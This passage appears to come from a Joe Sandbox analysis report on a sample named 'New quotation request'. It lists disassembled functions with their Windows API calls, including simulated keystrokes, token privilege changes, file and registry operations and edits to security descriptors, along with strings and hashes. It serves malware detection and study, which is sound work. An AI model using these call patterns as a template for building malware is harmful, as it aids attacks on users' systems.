                                                                    • ReleaseCapture.USER32 ref: 0033CF00
                                                                    • GetCursorPos.USER32(?), ref: 0033CF3A
                                                                    • ScreenToClient.USER32(?,?), ref: 0033CF47
                                                                    • SendMessageW.USER32(?,00001012,00000000,?), ref: 0033CFA3
                                                                    • SendMessageW.USER32 ref: 0033CFD1
                                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 0033D00E
                                                                    • SendMessageW.USER32 ref: 0033D03D
                                                                    • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0033D05E
                                                                    • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0033D06D
                                                                    • GetCursorPos.USER32(?), ref: 0033D08D
                                                                    • ScreenToClient.USER32(?,?), ref: 0033D09A
                                                                    • GetParent.USER32(?), ref: 0033D0BA
                                                                    • SendMessageW.USER32(?,00001012,00000000,?), ref: 0033D123
                                                                    • SendMessageW.USER32 ref: 0033D154
                                                                    • ClientToScreen.USER32(?,?), ref: 0033D1B2
                                                                    • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0033D1E2
                                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 0033D20C
                                                                    • SendMessageW.USER32 ref: 0033D22F
                                                                    • ClientToScreen.USER32(?,?), ref: 0033D281
                                                                    • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0033D2B5
                                                                      • Part of subcall function 002B25DB: GetWindowLongW.USER32(?,000000EB), ref: 002B25EC
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0033D351
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                                    • String ID: @GUI_DRAGID$F$pb7
                                                                    • API String ID: 3977979337-3134611142
                                                                    • Opcode ID: feff5d22ee0b7d45502e15b8a09392972758c77994fc2f52927b5d3510cee835
                                                                    • Instruction ID: f48a8632eb7ab44306b48ddd4ea156c6f27dc8dec0e1059ce4e3b887c8844c5d
                                                                    • Opcode Fuzzy Hash: feff5d22ee0b7d45502e15b8a09392972758c77994fc2f52927b5d3510cee835
                                                                    • Instruction Fuzzy Hash: C542CC34614340AFDB26CF24C885EAABBE9FF49310F141A19F699A72B0C771D850DF92
                                                                    Function 002C6F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$_memset
                                                                    • String ID: ]6$3c,$DEFINE$P\6$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_,
                                                                    • API String ID: 1357608183-2105160573
                                                                    • Opcode ID: d0649391f0857d486cf4c9016aeb22ae0a9443d1bf92b9139e6ceee66f4000b4
                                                                    • Instruction ID: cc328107a72b4452adfef1562560db7fa9363ef2afa95b841b289f1410cb42a8
                                                                    • Opcode Fuzzy Hash: d0649391f0857d486cf4c9016aeb22ae0a9443d1bf92b9139e6ceee66f4000b4
                                                                    • Instruction Fuzzy Hash: 9793C271E1121ADFDB25CF98C891BADB7B5FF48310F25816AE945AB2C1E7709E81CB40
                                                                    Function 002B48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetForegroundWindow.USER32(00000000,?), ref: 002B48DF
                                                                    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 002ED665
                                                                    • IsIconic.USER32(?), ref: 002ED66E
                                                                    • ShowWindow.USER32(?,00000009), ref: 002ED67B
                                                                    • SetForegroundWindow.USER32(?), ref: 002ED685
                                                                    • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 002ED69B
                                                                    • GetCurrentThreadId.KERNEL32 ref: 002ED6A2
                                                                    • GetWindowThreadProcessId.USER32(?,00000000), ref: 002ED6AE
                                                                    • AttachThreadInput.USER32(?,00000000,00000001), ref: 002ED6BF
                                                                    • AttachThreadInput.USER32(?,00000000,00000001), ref: 002ED6C7
                                                                    • AttachThreadInput.USER32(00000000,?,00000001), ref: 002ED6CF
                                                                    • SetForegroundWindow.USER32(?), ref: 002ED6D2
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 002ED6E7
                                                                    • keybd_event.USER32(00000012,00000000), ref: 002ED6F2
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 002ED6FC
                                                                    • keybd_event.USER32(00000012,00000000), ref: 002ED701
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 002ED70A
                                                                    • keybd_event.USER32(00000012,00000000), ref: 002ED70F
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 002ED719
                                                                    • keybd_event.USER32(00000012,00000000), ref: 002ED71E
                                                                    • SetForegroundWindow.USER32(?), ref: 002ED721
                                                                    • AttachThreadInput.USER32(?,?,00000000), ref: 002ED748
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                    • String ID: Shell_TrayWnd
                                                                    • API String ID: 4125248594-2988720461
                                                                    • Opcode ID: f218fdc832fdf2d81a94fc3e10ca160f02d9d98d7ab45062f7747ad8a932322f
                                                                    • Instruction ID: c3fd9d13630059dacd24ac7480a5ad0900a3da775d6c548e7edb5d1ba1c9d407
                                                                    • Opcode Fuzzy Hash: f218fdc832fdf2d81a94fc3e10ca160f02d9d98d7ab45062f7747ad8a932322f
                                                                    • Instruction Fuzzy Hash: 2E315571E903587FEB216F629C8AF7F7E6CEB44B50F504025FA04EA1E1C6B05D11ABA1
                                                                    Function 00308310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 003087E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0030882B
                                                                      • Part of subcall function 003087E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00308858
                                                                      • Part of subcall function 003087E1: GetLastError.KERNEL32 ref: 00308865
                                                                    • _memset.LIBCMT ref: 00308353
                                                                    • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 003083A5
                                                                    • CloseHandle.KERNEL32(?), ref: 003083B6
                                                                    • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 003083CD
                                                                    • GetProcessWindowStation.USER32 ref: 003083E6
                                                                    • SetProcessWindowStation.USER32(00000000), ref: 003083F0
                                                                    • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0030840A
                                                                      • Part of subcall function 003081CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00308309), ref: 003081E0
                                                                      • Part of subcall function 003081CB: CloseHandle.KERNEL32(?,?,00308309), ref: 003081F2
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                                    • String ID: $default$winsta0
                                                                    • API String ID: 2063423040-1027155976
                                                                    • Opcode ID: 112cc622b2aec3bc65a777e983fb438b087e376fdca16799997bc11cac62fd39
                                                                    • Instruction ID: 8ef14f93578d7cae23f2d5306803615b4254f4447bca15e8c7cadea8eaeb1d1d
                                                                    • Opcode Fuzzy Hash: 112cc622b2aec3bc65a777e983fb438b087e376fdca16799997bc11cac62fd39
                                                                    • Instruction Fuzzy Hash: 98817CB1D02209AFDF12DFA5CC95AEE7BB9FF05308F144169F954A62A1DB318E14DB20
                                                                    Function 0031C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0031C78D
                                                                    • FindClose.KERNEL32(00000000), ref: 0031C7E1
                                                                    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0031C806
                                                                    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0031C81D
                                                                    • FileTimeToSystemTime.KERNEL32(?,?), ref: 0031C844
                                                                    • __swprintf.LIBCMT ref: 0031C890
                                                                    • __swprintf.LIBCMT ref: 0031C8D3
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • __swprintf.LIBCMT ref: 0031C927
                                                                      • Part of subcall function 002D3698: __woutput_l.LIBCMT ref: 002D36F1
                                                                    • __swprintf.LIBCMT ref: 0031C975
                                                                      • Part of subcall function 002D3698: __flsbuf.LIBCMT ref: 002D3713
                                                                      • Part of subcall function 002D3698: __flsbuf.LIBCMT ref: 002D372B
                                                                    • __swprintf.LIBCMT ref: 0031C9C4
                                                                    • __swprintf.LIBCMT ref: 0031CA13
                                                                    • __swprintf.LIBCMT ref: 0031CA62
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                                    • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                    • API String ID: 3953360268-2428617273
                                                                    • Opcode ID: b1fdf0fbbf3fc2501c7642537b0cb5b503617044ed8ab0891a88be00fcce5e34
                                                                    • Instruction ID: a78abd15ea064292383a745422fed9480ede189037212ac6c570cc6e0b76c9d0
                                                                    • Opcode Fuzzy Hash: b1fdf0fbbf3fc2501c7642537b0cb5b503617044ed8ab0891a88be00fcce5e34
                                                                    • Instruction Fuzzy Hash: 0DA13CB2418205ABC705EFA4C886DEFB7ECEF99744F400919F595C6191EB30EA58CB62
                                                                    Function 0031EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0031EFB6
                                                                    • _wcscmp.LIBCMT ref: 0031EFCB
                                                                    • _wcscmp.LIBCMT ref: 0031EFE2
                                                                    • GetFileAttributesW.KERNEL32(?), ref: 0031EFF4
                                                                    • SetFileAttributesW.KERNEL32(?,?), ref: 0031F00E
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0031F026
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F031
                                                                    • FindFirstFileW.KERNEL32(*.*,?), ref: 0031F04D
                                                                    • _wcscmp.LIBCMT ref: 0031F074
                                                                    • _wcscmp.LIBCMT ref: 0031F08B
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031F09D
                                                                    • SetCurrentDirectoryW.KERNEL32(00368920), ref: 0031F0BB
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 0031F0C5
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F0D2
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F0E4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                                    • String ID: *.*
                                                                    • API String ID: 1803514871-438819550
                                                                    • Opcode ID: 90260ae531a72e61c9cdf65ca1ef2c09ed52f5508324681aabc8efa9e02a37d1
                                                                    • Instruction ID: bdce4d841f7451ddffa20d6e235c7ecddb437306f9d42b98d46d6026bc1d6c32
                                                                    • Opcode Fuzzy Hash: 90260ae531a72e61c9cdf65ca1ef2c09ed52f5508324681aabc8efa9e02a37d1
                                                                    • Instruction Fuzzy Hash: 9231F6369002096FCB1AEBB4EC98AEE77AC9F4C360F504176E804E30A1DB70DE80CA55
                                                                    Function 00330857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00330953
                                                                    • RegCreateKeyExW.ADVAPI32(?,?,00000000,0033F910,00000000,?,00000000,?,?), ref: 003309C1
                                                                    • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00330A09
                                                                    • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00330A92
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00330DB2
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 00330DBF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Close$ConnectCreateRegistryValue
                                                                    • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                    • API String ID: 536824911-966354055
                                                                    • Opcode ID: 44ee41378dce57c2062f6e99096a4ab97a4e3148883d6f122161ddfb2882ac53
                                                                    • Instruction ID: df6380323342e277dca4b875104384aefb1df1f053d717a36a21271ef1886e3b
                                                                    • Opcode Fuzzy Hash: 44ee41378dce57c2062f6e99096a4ab97a4e3148883d6f122161ddfb2882ac53
                                                                    • Instruction Fuzzy Hash: 0A0247756146019FCB19EF28C891E6AB7E5EF89310F05855DF98A9B3A2CB30EC51CF81
                                                                    Function 002C66E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: 0D5$0E5$0F5$3c,$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pG5$_,
                                                                    • API String ID: 0-3963977302
                                                                    • Opcode ID: 1b39a5b44190389f3191d6a8e8b3b3160d95d18f5febdac97e552aac1a84d809
                                                                    • Instruction ID: 2f911eddfb4c1761da16637632e313ada473cc8971acc41f1925af75eaa11c10
                                                                    • Opcode Fuzzy Hash: 1b39a5b44190389f3191d6a8e8b3b3160d95d18f5febdac97e552aac1a84d809
                                                                    • Instruction Fuzzy Hash: 46728F75E11219DBDB25CF59C894BAEB7F5FF48310F14816AE809EB290E7709E81CB90
                                                                    Function 0031F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0031F113
                                                                    • _wcscmp.LIBCMT ref: 0031F128
                                                                    • _wcscmp.LIBCMT ref: 0031F13F
                                                                      • Part of subcall function 00314385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 003143A0
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0031F16E
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F179
                                                                    • FindFirstFileW.KERNEL32(*.*,?), ref: 0031F195
                                                                    • _wcscmp.LIBCMT ref: 0031F1BC
                                                                    • _wcscmp.LIBCMT ref: 0031F1D3
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0031F1E5
                                                                    • SetCurrentDirectoryW.KERNEL32(00368920), ref: 0031F203
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 0031F20D
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F21A
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F22C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                                    • String ID: *.*
                                                                    • API String ID: 1824444939-438819550
                                                                    • Opcode ID: 6335d7205f0a3790c980df49feebb7712177fd8c79a8f23b4464fb4e1de71539
                                                                    • Instruction ID: 49fbc08f1141c6f6d42c1726b4ecd1c6b546fac890bb74ca0c12f8a0e85e7888
                                                                    • Opcode Fuzzy Hash: 6335d7205f0a3790c980df49feebb7712177fd8c79a8f23b4464fb4e1de71539
                                                                    • Instruction Fuzzy Hash: 2D31E93A900219BECB1AEB64EC95EEE77AC9F4D360F510571E800E31A0DB30DE85CA54
                                                                    Function 0031A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0031A20F
                                                                    • __swprintf.LIBCMT ref: 0031A231
                                                                    • CreateDirectoryW.KERNEL32(?,00000000), ref: 0031A26E
                                                                    • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0031A293
                                                                    • _memset.LIBCMT ref: 0031A2B2
                                                                    • _wcsncpy.LIBCMT ref: 0031A2EE
                                                                    • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0031A323
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0031A32E
                                                                    • RemoveDirectoryW.KERNEL32(?), ref: 0031A337
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0031A341
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                    • String ID: :$\$\??\%s
                                                                    • API String ID: 2733774712-3457252023
                                                                    • Opcode ID: f6c95290e2c221f6c8866ece0c71f899689fffe8e80d10dabf59db1c004e02ba
                                                                    • Instruction ID: 3d0681ab22b272f9697cb5ee132e7ac190bcbeff279e8d450ba5e2f642d9cc03
                                                                    • Opcode Fuzzy Hash: f6c95290e2c221f6c8866ece0c71f899689fffe8e80d10dabf59db1c004e02ba
                                                                    • Instruction Fuzzy Hash: D431B475900109ABDB22DFA0DC89FFB77BCEF88741F5045B6F908D2160EB7096958B25
                                                                    Function 00307CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00308202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0030821E
                                                                      • Part of subcall function 00308202: GetLastError.KERNEL32(?,00307CE2,?,?,?), ref: 00308228
                                                                      • Part of subcall function 00308202: GetProcessHeap.KERNEL32(00000008,?,?,00307CE2,?,?,?), ref: 00308237
                                                                      • Part of subcall function 00308202: HeapAlloc.KERNEL32(00000000,?,00307CE2,?,?,?), ref: 0030823E
                                                                      • Part of subcall function 00308202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00308255
                                                                      • Part of subcall function 0030829F: GetProcessHeap.KERNEL32(00000008,00307CF8,00000000,00000000,?,00307CF8,?), ref: 003082AB
                                                                      • Part of subcall function 0030829F: HeapAlloc.KERNEL32(00000000,?,00307CF8,?), ref: 003082B2
                                                                      • Part of subcall function 0030829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00307CF8,?), ref: 003082C3
                                                                    • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00307D13
                                                                    • _memset.LIBCMT ref: 00307D28
                                                                    • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00307D47
                                                                    • GetLengthSid.ADVAPI32(?), ref: 00307D58
                                                                    • GetAce.ADVAPI32(?,00000000,?), ref: 00307D95
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00307DB1
                                                                    • GetLengthSid.ADVAPI32(?), ref: 00307DCE
                                                                    • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00307DDD
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00307DE4
                                                                    • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00307E05
                                                                    • CopySid.ADVAPI32(00000000), ref: 00307E0C
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00307E3D
                                                                    • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00307E63
                                                                    • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00307E77
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                    • String ID:
                                                                    • API String ID: 3996160137-0
                                                                    • Opcode ID: 8dbc8b820e758a2fa29a2cb6874ded68b0aca362bfba1aeb4e170e71d873f199
                                                                    • Instruction ID: da3cf44c8cf8922b5ad192f4a713615787a5ee4c377b7be26d127450cd86097d
                                                                    • Opcode Fuzzy Hash: 8dbc8b820e758a2fa29a2cb6874ded68b0aca362bfba1aeb4e170e71d873f199
                                                                    • Instruction Fuzzy Hash: 1C615971D05209AFDF068FA4DC95AAEBB79FF04700F048169F815A6291DB31AA15CBA0
                                                                    Function 0031001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                                    Download Yara Rule
